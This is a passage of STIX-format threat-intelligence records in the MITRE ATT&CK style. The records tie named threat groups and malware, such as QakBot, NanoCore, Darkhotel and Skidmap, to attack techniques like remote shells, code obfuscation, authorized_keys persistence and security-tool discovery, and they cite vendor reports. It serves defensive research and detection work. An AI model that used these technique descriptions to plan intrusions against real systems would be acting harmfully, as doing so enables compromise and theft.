["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--12904c83-67ad-430f-96ae-20e9081c2b5d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. 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Retrieved May 15, 2020."}], "modified": "2020-05-15T13:43:22.771Z", "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) created new services for shellcode loaders distribution.(Citation: Securelist DarkVishnya Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--12e24dfb-3b4c-4244-90c9-2f9675dc6eaa", "type": "relationship", "created": "2022-02-17T16:16:01.705Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-EE Gamaredon January 2021", "url": "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "description": "CERT-EE. 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It also uses <code>launchctl</code> to unload all [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s when updating to a newer version of [LoudMiner](https://attack.mitre.org/software/S0451).(Citation: ESET LoudMiner June 2019)\t", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}], "modified": "2020-03-11T17:45:33.763Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin to drop and execute vulnerable Outpost Sandbox or avast! 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(2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}, {"source_name": "Cofense NanoCore Mar 2018", "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/", "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018."}], "modified": "2020-03-20T01:53:26.512Z", "description": "[NanoCore](https://attack.mitre.org/software/S0336) can open a remote command-line interface and execute commands.(Citation: PaloAlto NanoCore Feb 2016) [NanoCore](https://attack.mitre.org/software/S0336) uses JavaScript files.(Citation: Cofense NanoCore Mar 2018)", "relationship_type": "uses", "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1326a801-6937-42ab-9916-e142ccc64261", "type": "relationship", "created": "2021-10-12T21:06:28.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Cuba April 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", "description": "Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}], "modified": "2021-10-12T21:06:28.256Z", "description": "[Cuba](https://attack.mitre.org/software/S0625) has used several built-in API functions for discovery like GetIpNetTable and NetShareEnum.(Citation: McAfee Cuba April 2021) ", "relationship_type": "uses", "source_ref": "malware--6cd07296-14aa-403d-9229-6343d03d4752", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--132985bb-b5bd-4fce-b61d-ae3177de73f7", "type": "relationship", "created": "2020-10-20T15:42:48.340Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T02:49:49.813Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--132c7780-3fa4-478b-b037-f2c1ad99d98f", "type": "relationship", "created": "2020-07-01T21:19:30.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. 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Retrieved August 23, 2021."}], "modified": "2021-10-11T22:09:22.448Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) will enumerate the macOS version to determine which follow-on behaviors to execute using <code>/usr/bin/sw_vers -productVersion</code>.(Citation: MacKeeper Bundlore Apr 2019)(Citation: 20 macOS Common Tools and Techniques)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1330d8a5-c8be-4579-8a91-4cfda860ea0a", "created": "2019-01-30T17:43:28.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Securelist Darkhotel Aug 2015", "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/"}, {"source_name": "Microsoft DUBNIUM July 2016", "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021.", "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:41:36.052Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has obfuscated code using RC4, XOR, and RSA.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1332e859-38be-45ed-9ebc-09efd7117c17", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN7 Aug 2018", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"}, {"source_name": "Flashpoint FIN 7 March 2019", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."}, {"source_name": "FireEye FIN7 Aug 2018", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. 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(2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", "source_name": "APT3 Adversary Emulation Plan"}], "modified": "2020-03-29T18:23:36.943Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to brute force password hashes to be able to leverage plain text credentials.(Citation: APT3 Adversary Emulation Plan)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--13363d50-e3cc-4e6c-906a-47df844b8694", "type": "relationship", "created": "2020-03-13T19:51:59.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077", "description": "UCF. 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It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1343df30-b011-42f7-b3a3-a5d1d2f0b9c6", "type": "relationship", "created": "2021-09-28T19:59:59.096Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}, {"source_name": "ATT QakBot April 2021", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}, {"source_name": "ATT QakBot April 2021", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}, {"source_name": "Kaspersky QakBot September 2021", "url": "https://securelist.com/qakbot-technical-analysis/103931/", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}], "modified": "2021-10-12T18:16:40.695Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can identify the installed antivirus product on a targeted system.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--134a44d5-19f9-4052-9dc2-b1f5af870e28", "created": "2023-04-12T15:32:46.607Z", "revoked": false, "external_references": [{"source_name": "HP SVCReady Jun 2022", "description": "Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.", "url": "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T15:32:46.607Z", "description": "[SVCReady](https://attack.mitre.org/software/S1064) can collect data from an infected host.(Citation: HP SVCReady Jun 2022)", "relationship_type": "uses", "source_ref": "malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--134cc6c4-30f8-4b85-8ea1-da19c3e92af9", "created": "2021-05-03T19:39:06.488Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Google Iran Threats October 2021", "description": "Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.", "url": "https://blog.google/threat-analysis-group/countering-threats-iran/"}, {"source_name": "Certfa Charming Kitten January 2021", "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.", "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/"}, {"source_name": "ClearSky Kittens Back 3 August 2020", "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"}, {"source_name": "Proofpoint TA453 July2021", "description": "Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.", "url": "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-04T20:07:24.726Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used compromised domains to host links targeted to specific phishing victims.(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 July2021)(Citation: Certfa Charming Kitten January 2021)(Citation: Google Iran Threats October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--13576b41-ec77-418c-b581-d3fa461df941", "created": "2022-03-10T18:52:38.096Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Ukraine Wipers January 2022", "description": "Biasini, N. et al.. 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Retrieved October 5, 2021."}], "modified": "2021-10-11T22:54:28.357Z", "description": "[Dok](https://attack.mitre.org/software/S0281) proxies web traffic to potentially monitor and alter victim HTTP(S) traffic.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)", "relationship_type": "uses", "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--135fb6c4-1f42-42ce-b323-22e57ae4fbc6", "created": "2022-09-29T20:29:47.272Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. 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(2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T16:41:19.852Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Angry IP Scanner to detect remote systems.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--137ce702-f0e6-4dfa-8ca5-439155d91af9", "type": "relationship", "created": "2021-05-05T13:59:21.362Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. 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(2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-12T21:44:40.904Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) had the ability to download additional payloads.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1387ec64-ba36-42cd-b659-c29e708d8281", "type": "relationship", "created": "2021-11-29T18:52:28.813Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. 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Retrieved November 12, 2021."}], "modified": "2021-11-29T18:52:28.813Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can deobfuscate packed binaries in memory.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--138c4559-eae3-49a2-baea-b9549aef881c", "type": "relationship", "created": "2019-01-29T21:57:39.539Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture Dragonfish Jan 2018", "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."}], "modified": "2019-04-17T22:12:24.852Z", "description": "[Elise](https://attack.mitre.org/software/S0081) can download additional files from the C2 server for execution.(Citation: Accenture Dragonfish Jan 2018)", "relationship_type": "uses", "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--138da0bb-befa-45cd-9ca4-c74b86ac61ff", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Briba May 2012", "description": "Ladley, F. (2012, May 15). Backdoor.Briba. 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Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T20:10:29.028Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) has collected data and files from a compromised host.(Citation: McAfee Sharpshooter December 2018)", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--138fb337-c378-43a3-bacb-54f40696fb6b", "type": "relationship", "created": "2020-06-09T18:50:04.458Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.180Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has made use of Python-based remote access tools.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--13910722-9dc6-499f-9fbf-0a9cb3daab11", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye CARBANAK June 2017", "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. 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APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.431Z", "description": "(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--139cce0b-726b-406a-ad38-1fdfc779cf57", "created": "2022-08-16T15:35:04.434Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). 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Retrieved November 13, 2020."}], "modified": "2020-11-13T21:28:40.657Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on process names.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--13ac3b6b-d008-44fa-88c3-53d0927961d2", "type": "relationship", "created": "2019-07-08T15:24:24.654Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. 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Retrieved July 8, 2019."}], "modified": "2020-03-19T17:37:34.240Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used VBS scripts throughout its operations.(Citation: Symantec Waterbug Jun 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--13aed490-7d1f-4839-90c9-32d587d58afd", "type": "relationship", "created": "2020-07-16T15:51:25.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has obtained tools such as PuTTY for use in their operations.(Citation: Forcepoint BITTER Pakistan Oct 2016)", "modified": "2022-06-01T21:38:00.264Z", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--13b78b09-00b6-4307-87b7-7cd8c9360b39", "type": "relationship", "created": "2019-09-27T13:27:07.050Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fysbis Dr Web Analysis", "description": "Doctor Web. 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Retrieved June 4, 2020."}], "modified": "2020-06-25T13:32:00.164Z", "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to add the public key of its handlers to the <code>authorized_keys</code> file to maintain persistence on an infected host.(Citation: Trend Micro Skidmap)", "relationship_type": "uses", "source_ref": "malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0", "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632", "type": "relationship", "created": "2017-05-31T21:33:27.061Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). 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Retrieved February 16, 2021."}], "modified": "2021-04-20T19:17:58.069Z", "description": "[BendyBear](https://attack.mitre.org/software/S0574) can check for analysis environments and signs of debugging using the Windows API <code>kernel32!GetTickCountKernel32</code> call.(Citation: Unit42 BendyBear Feb 2021) ", "relationship_type": "uses", "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", "description": "Falcone, R., et al.. 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Retrieved July 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}], "modified": "2020-03-16T19:50:57.820Z", "description": "[VERMIN](https://attack.mitre.org/software/S0257) is initially 